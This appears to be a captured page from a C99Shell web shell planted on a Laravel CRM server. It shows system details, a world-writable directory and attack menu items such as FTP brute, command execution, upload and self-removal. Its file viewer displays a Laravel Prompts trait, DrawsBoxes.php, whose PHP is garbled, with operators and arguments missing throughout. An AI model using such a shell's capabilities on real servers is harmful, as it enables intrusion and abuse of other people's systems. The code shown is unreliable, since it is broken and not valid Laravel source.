!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/laravel/prompts/src/Themes/Default/Concerns/   drwxrwxrwx
Free 13.15 GB of 57.97 GB (22.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DrawsBoxes.php (1.82 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Prompts\Themes\Default\Concerns;

use 
Laravel\Prompts\Prompt;

trait 
DrawsBoxes
{
    use 
InteractsWithStrings;

    protected 
int $minWidth 60;

    
/**
     * Draw a box.
     *
     * @return $this
     */
    
protected function box(
        
string $title,
        
string $body,
        
string $footer '',
        
string $color 'gray',
        
string $info '',
    ): 
self {
        
$this->minWidth min($this->minWidthPrompt::terminal()->cols() - 6);

        
$bodyLines collect(explode(PHP_EOL$body));
        
$footerLines collect(explode(PHP_EOL$footer))->filter();
        
$width $this->longest(
            
$bodyLines
                
->merge($footerLines)
                ->
push($title)
                ->
toArray()
        );

        
$titleLength mb_strwidth($this->stripEscapeSequences($title));
        
$titleLabel $titleLength {$title} " '';
        
$topBorder str_repeat('─'$width $titleLength + ($titleLength 2));

        
$this->line("{$this->{$color}(' ┌')}{$titleLabel}{$this->{$color}($topBorder.'┐')}");

        
$bodyLines->each(function ($line) use ($width$color) {
            
$this->line("{$this->{$color}(' │')} {$this->pad($line$width)} {$this->{$color}('│')}");
        });

        if (
$footerLines->isNotEmpty()) {
            
$this->line($this->{$color}(' ├'.str_repeat('─'$width 2).'┤'));

            
$footerLines->each(function ($line) use ($width$color) {
                
$this->line("{$this->{$color}(' │')} {$this->pad($line$width)} {$this->{$color}('│')}");
            });
        }

        
$this->line($this->{$color}(' └'.str_repeat(
            
'─'$info ? ($width mb_strwidth($this->stripEscapeSequences($info))) : ($width 2)
        ).(
$info {$info} " '').'┘'));

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--